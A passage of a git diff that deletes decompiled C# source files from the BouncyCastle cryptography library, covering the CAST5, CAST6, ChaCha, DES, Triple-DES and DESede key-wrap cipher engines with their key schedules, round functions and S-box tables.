4); - num3 = inData2 ^ S5[array2[7]] ^ S6[array2[6]] ^ S7[array2[5]] ^ S8[array2[4]] ^ S5[array[1]]; - Bits32ToInts(num3, array2, 8); - num4 = inData4 ^ S5[array2[10]] ^ S6[array2[9]] ^ S7[array2[11]] ^ S8[array2[8]] ^ S6[array[3]]; - Bits32ToInts(num4, array2, 12); - _Kr[13] = (int)((S5[array2[8]] ^ S6[array2[9]] ^ S7[array2[7]] ^ S8[array2[6]] ^ S5[array2[3]]) & 0x1F); - _Kr[14] = (int)((S5[array2[10]] ^ S6[array2[11]] ^ S7[array2[5]] ^ S8[array2[4]] ^ S6[array2[7]]) & 0x1F); - _Kr[15] = (int)((S5[array2[12]] ^ S6[array2[13]] ^ S7[array2[3]] ^ S8[array2[2]] ^ S7[array2[8]]) & 0x1F); - _Kr[16] = (int)((S5[array2[14]] ^ S6[array2[15]] ^ S7[array2[1]] ^ S8[array2[0]] ^ S8[array2[13]]) & 0x1F); - } - - internal virtual int EncryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - uint l = Pack.BE_To_UInt32(src, srcIndex); - uint r = Pack.BE_To_UInt32(src, srcIndex + 4); - uint[] array = new uint[2]; - CAST_Encipher(l, r, array); - Pack.UInt32_To_BE(array[0], dst, dstIndex); - Pack.UInt32_To_BE(array[1], dst, dstIndex + 4); - return 8; - } - - internal virtual int DecryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - uint l = Pack.BE_To_UInt32(src, srcIndex); - uint r = Pack.BE_To_UInt32(src, srcIndex + 4); - uint[] array = new uint[2]; - CAST_Decipher(l, r, array); - Pack.UInt32_To_BE(array[0], dst, dstIndex); - Pack.UInt32_To_BE(array[1], dst, dstIndex + 4); - return 8; - } - - internal static uint F1(uint D, uint Kmi, int Kri) - { - uint num = Kmi + D; - num = (num << Kri) | (num >> 32 - Kri); - return (S1[(num >> 24) & 0xFF] ^ S2[(num >> 16) & 0xFF]) - S3[(num >> 8) & 0xFF] + S4[num & 0xFF]; - } - - internal static uint F2(uint D, uint Kmi, int Kri) - { - uint num = Kmi ^ D; - num = (num << Kri) | (num >> 32 - Kri); - return (S1[(num >> 24) & 0xFF] - S2[(num >> 16) & 0xFF] + S3[(num >> 8) & 0xFF]) ^ S4[num & 0xFF]; - } - - internal static uint F3(uint D, uint Kmi, int Kri) - { - uint num = Kmi - D; - num = (num << Kri) | (num >> 32 - Kri); - return ((S1[(num >> 24) & 0xFF] + S2[(num >> 16) & 0xFF]) ^ S3[(num >> 8) & 0xFF]) - S4[num & 0xFF]; - } - - internal void CAST_Encipher(uint L0, uint R0, uint[] result) - { - uint num = L0; - uint num2 = R0; - uint num3 = L0; - uint num4 = R0; - for (int i = 1; i <= _rounds; i++) - { - num = num3; - num2 = num4; - num3 = num2; - switch (i) - { - case 1: - case 4: - case 7: - case 10: - case 13: - case 16: - num4 = num ^ F1(num2, _Km[i], _Kr[i]); - break; - case 2: - case 5: - case 8: - case 11: - case 14: - num4 = num ^ F2(num2, _Km[i], _Kr[i]); - break; - case 3: - case 6: - case 9: - case 12: - case 15: - num4 = num ^ F3(num2, _Km[i], _Kr[i]); - break; - } - } - result[0] = num4; - result[1] = num3; - } - - internal void CAST_Decipher(uint L16, uint R16, uint[] result) - { - uint num = L16; - uint num2 = R16; - uint num3 = L16; - uint num4 = R16; - for (int num5 = _rounds; num5 > 0; num5--) - { - num = num3; - num2 = num4; - num3 = num2; - switch (num5) - { - case 1: - case 4: - case 7: - case 10: - case 13: - case 16: - num4 = num ^ F1(num2, _Km[num5], _Kr[num5]); - break; - case 2: - case 5: - case 8: - case 11: - case 14: - num4 = num ^ F2(num2, _Km[num5], _Kr[num5]); - break; - case 3: - case 6: - case 9: - case 12: - case 15: - num4 = num ^ F3(num2, _Km[num5], _Kr[num5]); - break; - } - } - result[0] = num4; - result[1] = num3; - } - - internal static void Bits32ToInts(uint inData, int[] b, int offset) - { - b[offset + 3] = (int)(inData & 0xFF); - b[offset + 2] = (int)((inData >> 8) & 0xFF); - b[offset + 1] = (int)((inData >> 16) & 0xFF); - b[offset] = (int)((inData >> 24) & 0xFF); - } - - internal static uint IntsTo32bits(int[] b, int i) - { - return (uint)(((b[i] & 0xFF) << 24) | ((b[i + 1] & 0xFF) << 16) | ((b[i + 2] & 0xFF) << 8) | (b[i + 3] & 0xFF)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Cast6Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Cast6Engine.cs deleted file mode 100644 index 9084d7e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Cast6Engine.cs +++ /dev/null @@ -1,163 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public sealed class Cast6Engine : Cast5Engine -{ - private const int ROUNDS = 12; - - private const int BLOCK_SIZE = 16; - - private int[] _Kr = new int[48]; - - private uint[] _Km = new uint[48]; - - private int[] _Tr = new int[192]; - - private uint[] _Tm = new uint[192]; - - private uint[] _workingKey = new uint[8]; - - public override string AlgorithmName => "CAST6"; - - public override void Reset() - { - } - - public override int GetBlockSize() - { - return 16; - } - - internal override void SetKey(byte[] key) - { - uint num = 1518500249u; - uint num2 = 1859775393u; - int num3 = 19; - int num4 = 17; - for (int i = 0; i < 24; i++) - { - for (int j = 0; j < 8; j++) - { - _Tm[i * 8 + j] = num; - num += num2; - _Tr[i * 8 + j] = num3; - num3 = (num3 + num4) & 0x1F; - } - } - byte[] array = new byte[64]; - key.CopyTo(array, 0); - for (int k = 0; k < 8; k++) - { - _workingKey[k] = Pack.BE_To_UInt32(array, k * 4); - } - for (int l = 0; l < 12; l++) - { - int num5 = l * 2 * 8; - uint[] workingKey; - (workingKey = _workingKey)[6] = workingKey[6] ^ Cast5Engine.F1(_workingKey[7], _Tm[num5], _Tr[num5]); - (workingKey = _workingKey)[5] = workingKey[5] ^ Cast5Engine.F2(_workingKey[6], _Tm[num5 + 1], _Tr[num5 + 1]); - (workingKey = _workingKey)[4] = workingKey[4] ^ Cast5Engine.F3(_workingKey[5], _Tm[num5 + 2], _Tr[num5 + 2]); - (workingKey = _workingKey)[3] = workingKey[3] ^ Cast5Engine.F1(_workingKey[4], _Tm[num5 + 3], _Tr[num5 + 3]); - (workingKey = _workingKey)[2] = workingKey[2] ^ Cast5Engine.F2(_workingKey[3], _Tm[num5 + 4], _Tr[num5 + 4]); - (workingKey = _workingKey)[1] = workingKey[1] ^ Cast5Engine.F3(_workingKey[2], _Tm[num5 + 5], _Tr[num5 + 5]); - (workingKey = _workingKey)[0] = workingKey[0] ^ Cast5Engine.F1(_workingKey[1], _Tm[num5 + 6], _Tr[num5 + 6]); - (workingKey = _workingKey)[7] = workingKey[7] ^ Cast5Engine.F2(_workingKey[0], _Tm[num5 + 7], _Tr[num5 + 7]); - num5 = (l * 2 + 1) * 8; - (workingKey = _workingKey)[6] = workingKey[6] ^ Cast5Engine.F1(_workingKey[7], _Tm[num5], _Tr[num5]); - (workingKey = _workingKey)[5] = workingKey[5] ^ Cast5Engine.F2(_workingKey[6], _Tm[num5 + 1], _Tr[num5 + 1]); - (workingKey = _workingKey)[4] = workingKey[4] ^ Cast5Engine.F3(_workingKey[5], _Tm[num5 + 2], _Tr[num5 + 2]); - (workingKey = _workingKey)[3] = workingKey[3] ^ Cast5Engine.F1(_workingKey[4], _Tm[num5 + 3], _Tr[num5 + 3]); - (workingKey = _workingKey)[2] = workingKey[2] ^ Cast5Engine.F2(_workingKey[3], _Tm[num5 + 4], _Tr[num5 + 4]); - (workingKey = _workingKey)[1] = workingKey[1] ^ Cast5Engine.F3(_workingKey[2], _Tm[num5 + 5], _Tr[num5 + 5]); - (workingKey = _workingKey)[0] = workingKey[0] ^ Cast5Engine.F1(_workingKey[1], _Tm[num5 + 6], _Tr[num5 + 6]); - (workingKey = _workingKey)[7] = workingKey[7] ^ Cast5Engine.F2(_workingKey[0], _Tm[num5 + 7], _Tr[num5 + 7]); - _Kr[l * 4] = (int)(_workingKey[0] & 0x1F); - _Kr[l * 4 + 1] = (int)(_workingKey[2] & 0x1F); - _Kr[l * 4 + 2] = (int)(_workingKey[4] & 0x1F); - _Kr[l * 4 + 3] = (int)(_workingKey[6] & 0x1F); - _Km[l * 4] = _workingKey[7]; - _Km[l * 4 + 1] = _workingKey[5]; - _Km[l * 4 + 2] = _workingKey[3]; - _Km[l * 4 + 3] = _workingKey[1]; - } - } - - internal override int EncryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - uint a = Pack.BE_To_UInt32(src, srcIndex); - uint b = Pack.BE_To_UInt32(src, srcIndex + 4); - uint c = Pack.BE_To_UInt32(src, srcIndex + 8); - uint d = Pack.BE_To_UInt32(src, srcIndex + 12); - uint[] array = new uint[4]; - CAST_Encipher(a, b, c, d, array); - Pack.UInt32_To_BE(array[0], dst, dstIndex); - Pack.UInt32_To_BE(array[1], dst, dstIndex + 4); - Pack.UInt32_To_BE(array[2], dst, dstIndex + 8); - Pack.UInt32_To_BE(array[3], dst, dstIndex + 12); - return 16; - } - - internal override int DecryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - uint a = Pack.BE_To_UInt32(src, srcIndex); - uint b = Pack.BE_To_UInt32(src, srcIndex + 4); - uint c = Pack.BE_To_UInt32(src, srcIndex + 8); - uint d = Pack.BE_To_UInt32(src, srcIndex + 12); - uint[] array = new uint[4]; - CAST_Decipher(a, b, c, d, array); - Pack.UInt32_To_BE(array[0], dst, dstIndex); - Pack.UInt32_To_BE(array[1], dst, dstIndex + 4); - Pack.UInt32_To_BE(array[2], dst, dstIndex + 8); - Pack.UInt32_To_BE(array[3], dst, dstIndex + 12); - return 16; - } - - private void CAST_Encipher(uint A, uint B, uint C, uint D, uint[] result) - { - for (int i = 0; i < 6; i++) - { - int num = i * 4; - C ^= Cast5Engine.F1(D, _Km[num], _Kr[num]); - B ^= Cast5Engine.F2(C, _Km[num + 1], _Kr[num + 1]); - A ^= Cast5Engine.F3(B, _Km[num + 2], _Kr[num + 2]); - D ^= Cast5Engine.F1(A, _Km[num + 3], _Kr[num + 3]); - } - for (int j = 6; j < 12; j++) - { - int num2 = j * 4; - D ^= Cast5Engine.F1(A, _Km[num2 + 3], _Kr[num2 + 3]); - A ^= Cast5Engine.F3(B, _Km[num2 + 2], _Kr[num2 + 2]); - B ^= Cast5Engine.F2(C, _Km[num2 + 1], _Kr[num2 + 1]); - C ^= Cast5Engine.F1(D, _Km[num2], _Kr[num2]); - } - result[0] = A; - result[1] = B; - result[2] = C; - result[3] = D; - } - - private void CAST_Decipher(uint A, uint B, uint C, uint D, uint[] result) - { - for (int i = 0; i < 6; i++) - { - int num = (11 - i) * 4; - C ^= Cast5Engine.F1(D, _Km[num], _Kr[num]); - B ^= Cast5Engine.F2(C, _Km[num + 1], _Kr[num + 1]); - A ^= Cast5Engine.F3(B, _Km[num + 2], _Kr[num + 2]); - D ^= Cast5Engine.F1(A, _Km[num + 3], _Kr[num + 3]); - } - for (int j = 6; j < 12; j++) - { - int num2 = (11 - j) * 4; - D ^= Cast5Engine.F1(A, _Km[num2 + 3], _Kr[num2 + 3]); - A ^= Cast5Engine.F3(B, _Km[num2 + 2], _Kr[num2 + 2]); - B ^= Cast5Engine.F2(C, _Km[num2 + 1], _Kr[num2 + 1]); - C ^= Cast5Engine.F1(D, _Km[num2], _Kr[num2]); - } - result[0] = A; - result[1] = B; - result[2] = C; - result[3] = D; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ChaCha7539Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ChaCha7539Engine.cs deleted file mode 100644 index 12e8bf3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ChaCha7539Engine.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class ChaCha7539Engine : Salsa20Engine -{ - public override string AlgorithmName => "ChaCha7539" + rounds; - - protected override int NonceSize => 12; - - protected override void AdvanceCounter() - { - uint[] array; - if (((array = engineState)[12] = array[12] + 1) == 0) - { - throw new InvalidOperationException("attempt to increase counter past 2^32."); - } - } - - protected override void ResetCounter() - { - engineState[12] = 0u; - } - - protected override void SetKey(byte[] keyBytes, byte[] ivBytes) - { - if (keyBytes != null) - { - if (keyBytes.Length != 32) - { - throw new ArgumentException(AlgorithmName + " requires 256 bit key"); - } - PackTauOrSigma(keyBytes.Length, engineState, 0); - Pack.LE_To_UInt32(keyBytes, 0, engineState, 4, 8); - } - Pack.LE_To_UInt32(ivBytes, 0, engineState, 13, 3); - } - - protected override void GenerateKeyStream(byte[] output) - { - ChaChaEngine.ChachaCore(rounds, engineState, x); - Pack.UInt32_To_LE(x, output, 0); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ChaChaEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ChaChaEngine.cs deleted file mode 100644 index 92206b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ChaChaEngine.cs +++ /dev/null @@ -1,168 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class ChaChaEngine : Salsa20Engine -{ - public override string AlgorithmName => "ChaCha" + rounds; - - public ChaChaEngine() - { - } - - public ChaChaEngine(int rounds) - : base(rounds) - { - } - - protected override void AdvanceCounter() - { - uint[] array; - if (((array = engineState)[12] = array[12] + 1) == 0) - { - (array = engineState)[13] = array[13] + 1; - } - } - - protected override void ResetCounter() - { - engineState[12] = (engineState[13] = 0u); - } - - protected override void SetKey(byte[] keyBytes, byte[] ivBytes) - { - if (keyBytes != null) - { - if (keyBytes.Length != 16 && keyBytes.Length != 32) - { - throw new ArgumentException(AlgorithmName + " requires 128 bit or 256 bit key"); - } - PackTauOrSigma(keyBytes.Length, engineState, 0); - Pack.LE_To_UInt32(keyBytes, 0, engineState, 4, 4); - Pack.LE_To_UInt32(keyBytes, keyBytes.Length - 16, engineState, 8, 4); - } - Pack.LE_To_UInt32(ivBytes, 0, engineState, 14, 2); - } - - protected override void GenerateKeyStream(byte[] output) - { - ChachaCore(rounds, engineState, x); - Pack.UInt32_To_LE(x, output, 0); - } - - internal static void ChachaCore(int rounds, uint[] input, uint[] x) - { - if (input.Length != 16) - { - throw new ArgumentException(); - } - if (x.Length != 16) - { - throw new ArgumentException(); - } - if (rounds % 2 != 0) - { - throw new ArgumentException("Number of rounds must be even"); - } - uint num = input[0]; - uint num2 = input[1]; - uint num3 = input[2]; - uint num4 = input[3]; - uint num5 = input[4]; - uint num6 = input[5]; - uint num7 = input[6]; - uint num8 = input[7]; - uint num9 = input[8]; - uint num10 = input[9]; - uint num11 = input[10]; - uint num12 = input[11]; - uint num13 = input[12]; - uint num14 = input[13]; - uint num15 = input[14]; - uint num16 = input[15]; - for (int num17 = rounds; num17 > 0; num17 -= 2) - { - num += num5; - num13 = Salsa20Engine.R(num13 ^ num, 16); - num9 += num13; - num5 = Salsa20Engine.R(num5 ^ num9, 12); - num += num5; - num13 = Salsa20Engine.R(num13 ^ num, 8); - num9 += num13; - num5 = Salsa20Engine.R(num5 ^ num9, 7); - num2 += num6; - num14 = Salsa20Engine.R(num14 ^ num2, 16); - num10 += num14; - num6 = Salsa20Engine.R(num6 ^ num10, 12); - num2 += num6; - num14 = Salsa20Engine.R(num14 ^ num2, 8); - num10 += num14; - num6 = Salsa20Engine.R(num6 ^ num10, 7); - num3 += num7; - num15 = Salsa20Engine.R(num15 ^ num3, 16); - num11 += num15; - num7 = Salsa20Engine.R(num7 ^ num11, 12); - num3 += num7; - num15 = Salsa20Engine.R(num15 ^ num3, 8); - num11 += num15; - num7 = Salsa20Engine.R(num7 ^ num11, 7); - num4 += num8; - num16 = Salsa20Engine.R(num16 ^ num4, 16); - num12 += num16; - num8 = Salsa20Engine.R(num8 ^ num12, 12); - num4 += num8; - num16 = Salsa20Engine.R(num16 ^ num4, 8); - num12 += num16; - num8 = Salsa20Engine.R(num8 ^ num12, 7); - num += num6; - num16 = Salsa20Engine.R(num16 ^ num, 16); - num11 += num16; - num6 = Salsa20Engine.R(num6 ^ num11, 12); - num += num6; - num16 = Salsa20Engine.R(num16 ^ num, 8); - num11 += num16; - num6 = Salsa20Engine.R(num6 ^ num11, 7); - num2 += num7; - num13 = Salsa20Engine.R(num13 ^ num2, 16); - num12 += num13; - num7 = Salsa20Engine.R(num7 ^ num12, 12); - num2 += num7; - num13 = Salsa20Engine.R(num13 ^ num2, 8); - num12 += num13; - num7 = Salsa20Engine.R(num7 ^ num12, 7); - num3 += num8; - num14 = Salsa20Engine.R(num14 ^ num3, 16); - num9 += num14; - num8 = Salsa20Engine.R(num8 ^ num9, 12); - num3 += num8; - num14 = Salsa20Engine.R(num14 ^ num3, 8); - num9 += num14; - num8 = Salsa20Engine.R(num8 ^ num9, 7); - num4 += num5; - num15 = Salsa20Engine.R(num15 ^ num4, 16); - num10 += num15; - num5 = Salsa20Engine.R(num5 ^ num10, 12); - num4 += num5; - num15 = Salsa20Engine.R(num15 ^ num4, 8); - num10 += num15; - num5 = Salsa20Engine.R(num5 ^ num10, 7); - } - x[0] = num + input[0]; - x[1] = num2 + input[1]; - x[2] = num3 + input[2]; - x[3] = num4 + input[3]; - x[4] = num5 + input[4]; - x[5] = num6 + input[5]; - x[6] = num7 + input[6]; - x[7] = num8 + input[7]; - x[8] = num9 + input[8]; - x[9] = num10 + input[9]; - x[10] = num11 + input[10]; - x[11] = num12 + input[11]; - x[12] = num13 + input[12]; - x[13] = num14 + input[13]; - x[14] = num15 + input[14]; - x[15] = num16 + input[15]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEdeEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEdeEngine.cs deleted file mode 100644 index df13181..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEdeEngine.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class DesEdeEngine : DesEngine -{ - private int[] workingKey1; - - private int[] workingKey2; - - private int[] workingKey3; - - private bool forEncryption; - - public override string AlgorithmName => "DESede"; - - public override void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to DESede init - " + Platform.GetTypeName(parameters)); - } - byte[] key = ((KeyParameter)parameters).GetKey(); - if (key.Length != 24 && key.Length != 16) - { - throw new ArgumentException("key size must be 16 or 24 bytes."); - } - this.forEncryption = forEncryption; - byte[] array = new byte[8]; - Array.Copy(key, 0, array, 0, array.Length); - workingKey1 = DesEngine.GenerateWorkingKey(forEncryption, array); - byte[] array2 = new byte[8]; - Array.Copy(key, 8, array2, 0, array2.Length); - workingKey2 = DesEngine.GenerateWorkingKey(!forEncryption, array2); - if (key.Length == 24) - { - byte[] array3 = new byte[8]; - Array.Copy(key, 16, array3, 0, array3.Length); - workingKey3 = DesEngine.GenerateWorkingKey(forEncryption, array3); - } - else - { - workingKey3 = workingKey1; - } - } - - public override int GetBlockSize() - { - return 8; - } - - public override int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey1 == null) - { - throw new InvalidOperationException("DESede engine not initialised"); - } - Check.DataLength(input, inOff, 8, "input buffer too short"); - Check.OutputLength(output, outOff, 8, "output buffer too short"); - byte[] array = new byte[8]; - if (forEncryption) - { - DesEngine.DesFunc(workingKey1, input, inOff, array, 0); - DesEngine.DesFunc(workingKey2, array, 0, array, 0); - DesEngine.DesFunc(workingKey3, array, 0, output, outOff); - } - else - { - DesEngine.DesFunc(workingKey3, input, inOff, array, 0); - DesEngine.DesFunc(workingKey2, array, 0, array, 0); - DesEngine.DesFunc(workingKey1, array, 0, output, outOff); - } - return 8; - } - - public override void Reset() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEdeWrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEdeWrapEngine.cs deleted file mode 100644 index d5d207c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEdeWrapEngine.cs +++ /dev/null @@ -1,175 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class DesEdeWrapEngine : IWrapper -{ - private CbcBlockCipher engine; - - private KeyParameter param; - - private ParametersWithIV paramPlusIV; - - private byte[] iv; - - private bool forWrapping; - - private static readonly byte[] IV2 = new byte[8] { 74, 221, 162, 44, 121, 232, 33, 5 }; - - private readonly IDigest sha1 = new Sha1Digest(); - - private readonly byte[] digest = new byte[20]; - - public virtual string AlgorithmName => "DESede"; - - public virtual void Init(bool forWrapping, ICipherParameters parameters) - { - this.forWrapping = forWrapping; - engine = new CbcBlockCipher(new DesEdeEngine()); - SecureRandom secureRandom; - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - parameters = parametersWithRandom.Parameters; - secureRandom = parametersWithRandom.Random; - } - else - { - secureRandom = new SecureRandom(); - } - if (parameters is KeyParameter) - { - param = (KeyParameter)parameters; - if (this.forWrapping) - { - iv = new byte[8]; - secureRandom.NextBytes(iv); - paramPlusIV = new ParametersWithIV(param, iv); - } - } - else if (parameters is ParametersWithIV) - { - if (!forWrapping) - { - throw new ArgumentException("You should not supply an IV for unwrapping"); - } - paramPlusIV = (ParametersWithIV)parameters; - iv = paramPlusIV.GetIV(); - param = (KeyParameter)paramPlusIV.Parameters; - if (iv.Length != 8) - { - throw new ArgumentException("IV is not 8 octets", "parameters"); - } - } - } - - public virtual byte[] Wrap(byte[] input, int inOff, int length) - { - if (!forWrapping) - { - throw new InvalidOperationException("Not initialized for wrapping"); - } - byte[] array = new byte[length]; - Array.Copy(input, inOff, array, 0, length); - byte[] array2 = CalculateCmsKeyChecksum(array); - byte[] array3 = new byte[array.Length + array2.Length]; - Array.Copy(array, 0, array3, 0, array.Length); - Array.Copy(array2, 0, array3, array.Length, array2.Length); - int blockSize = engine.GetBlockSize(); - if (array3.Length % blockSize != 0) - { - throw new InvalidOperationException("Not multiple of block length"); - } - engine.Init(forEncryption: true, paramPlusIV); - byte[] array4 = new byte[array3.Length]; - for (int i = 0; i != array3.Length; i += blockSize) - { - engine.ProcessBlock(array3, i, array4, i); - } - byte[] array5 = new byte[iv.Length + array4.Length]; - Array.Copy(iv, 0, array5, 0, iv.Length); - Array.Copy(array4, 0, array5, iv.Length, array4.Length); - byte[] array6 = reverse(array5); - ParametersWithIV parameters = new ParametersWithIV(param, IV2); - engine.Init(forEncryption: true, parameters); - for (int j = 0; j != array6.Length; j += blockSize) - { - engine.ProcessBlock(array6, j, array6, j); - } - return array6; - } - - public virtual byte[] Unwrap(byte[] input, int inOff, int length) - { - if (forWrapping) - { - throw new InvalidOperationException("Not set for unwrapping"); - } - if (input == null) - { - throw new InvalidCipherTextException("Null pointer as ciphertext"); - } - int blockSize = engine.GetBlockSize(); - if (length % blockSize != 0) - { - throw new InvalidCipherTextException("Ciphertext not multiple of " + blockSize); - } - ParametersWithIV parameters = new ParametersWithIV(param, IV2); - engine.Init(forEncryption: false, parameters); - byte[] array = new byte[length]; - for (int i = 0; i != array.Length; i += blockSize) - { - engine.ProcessBlock(input, inOff + i, array, i); - } - byte[] array2 = reverse(array); - iv = new byte[8]; - byte[] array3 = new byte[array2.Length - 8]; - Array.Copy(array2, 0, iv, 0, 8); - Array.Copy(array2, 8, array3, 0, array2.Length - 8); - paramPlusIV = new ParametersWithIV(param, iv); - engine.Init(forEncryption: false, paramPlusIV); - byte[] array4 = new byte[array3.Length]; - for (int j = 0; j != array4.Length; j += blockSize) - { - engine.ProcessBlock(array3, j, array4, j); - } - byte[] array5 = new byte[array4.Length - 8]; - byte[] array6 = new byte[8]; - Array.Copy(array4, 0, array5, 0, array4.Length - 8); - Array.Copy(array4, array4.Length - 8, array6, 0, 8); - if (!CheckCmsKeyChecksum(array5, array6)) - { - throw new InvalidCipherTextException("Checksum inside ciphertext is corrupted"); - } - return array5; - } - - private byte[] CalculateCmsKeyChecksum(byte[] key) - { - sha1.BlockUpdate(key, 0, key.Length); - sha1.DoFinal(digest, 0); - byte[] array = new byte[8]; - Array.Copy(digest, 0, array, 0, 8); - return array; - } - - private bool CheckCmsKeyChecksum(byte[] key, byte[] checksum) - { - return Arrays.ConstantTimeAreEqual(CalculateCmsKeyChecksum(key), checksum); - } - - private static byte[] reverse(byte[] bs) - { - byte[] array = new byte[bs.Length]; - for (int i = 0; i < bs.Length; i++) - { - array[i] = bs[^(i + 1)]; - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEngine.cs deleted file mode 100644 index 4ec7890..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/DesEngine.cs +++ /dev/null @@ -1,310 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class DesEngine : IBlockCipher -{ - internal const int BLOCK_SIZE = 8; - - private int[] workingKey; - - private static readonly short[] bytebit = new short[8] { 128, 64, 32, 16, 8, 4, 2, 1 }; - - private static readonly int[] bigbyte = new int[24] - { - 8388608, 4194304, 2097152, 1048576, 524288, 262144, 131072, 65536, 32768, 16384, - 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, - 8, 4, 2, 1 - }; - - private static readonly byte[] pc1 = new byte[56] - { - 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, - 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, - 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, - 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, - 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, - 12, 4, 27, 19, 11, 3 - }; - - private static readonly byte[] totrot = new byte[16] - { - 1, 2, 4, 6, 8, 10, 12, 14, 15, 17, - 19, 21, 23, 25, 27, 28 - }; - - private static readonly byte[] pc2 = new byte[48] - { - 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, - 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, - 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, - 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, - 33, 52, 45, 41, 49, 35, 28, 31 - }; - - private static readonly uint[] SP1 = new uint[64] - { - 16843776u, 0u, 65536u, 16843780u, 16842756u, 66564u, 4u, 65536u, 1024u, 16843776u, - 16843780u, 1024u, 16778244u, 16842756u, 16777216u, 4u, 1028u, 16778240u, 16778240u, 66560u, - 66560u, 16842752u, 16842752u, 16778244u, 65540u, 16777220u, 16777220u, 65540u, 0u, 1028u, - 66564u, 16777216u, 65536u, 16843780u, 4u, 16842752u, 16843776u, 16777216u, 16777216u, 1024u, - 16842756u, 65536u, 66560u, 16777220u, 1024u, 4u, 16778244u, 66564u, 16843780u, 65540u, - 16842752u, 16778244u, 16777220u, 1028u, 66564u, 16843776u, 1028u, 16778240u, 16778240u, 0u, - 65540u, 66560u, 0u, 16842756u - }; - - private static readonly uint[] SP2 = new uint[64] - { - 2148565024u, 2147516416u, 32768u, 1081376u, 1048576u, 32u, 2148532256u, 2147516448u, 2147483680u, 2148565024u, - 2148564992u, 2147483648u, 2147516416u, 1048576u, 32u, 2148532256u, 1081344u, 1048608u, 2147516448u, 0u, - 2147483648u, 32768u, 1081376u, 2148532224u, 1048608u, 2147483680u, 0u, 1081344u, 32800u, 2148564992u, - 2148532224u, 32800u, 0u, 1081376u, 2148532256u, 1048576u, 2147516448u, 2148532224u, 2148564992u, 32768u, - 2148532224u, 2147516416u, 32u, 2148565024u, 1081376u, 32u, 32768u, 2147483648u, 32800u, 2148564992u, - 1048576u, 2147483680u, 1048608u, 2147516448u, 2147483680u, 1048608u, 1081344u, 0u, 2147516416u, 32800u, - 2147483648u, 2148532256u, 2148565024u, 1081344u - }; - - private static readonly uint[] SP3 = new uint[64] - { - 520u, 134349312u, 0u, 134348808u, 134218240u, 0u, 131592u, 134218240u, 131080u, 134217736u, - 134217736u, 131072u, 134349320u, 131080u, 134348800u, 520u, 134217728u, 8u, 134349312u, 512u, - 131584u, 134348800u, 134348808u, 131592u, 134218248u, 131584u, 131072u, 134218248u, 8u, 134349320u, - 512u, 134217728u, 134349312u, 134217728u, 131080u, 520u, 131072u, 134349312u, 134218240u, 0u, - 512u, 131080u, 134349320u, 134218240u, 134217736u, 512u, 0u, 134348808u, 134218248u, 131072u, - 134217728u, 134349320u, 8u, 131592u, 131584u, 134217736u, 134348800u, 134218248u, 520u, 134348800u, - 131592u, 8u, 134348808u, 131584u - }; - - private static readonly uint[] SP4 = new uint[64] - { - 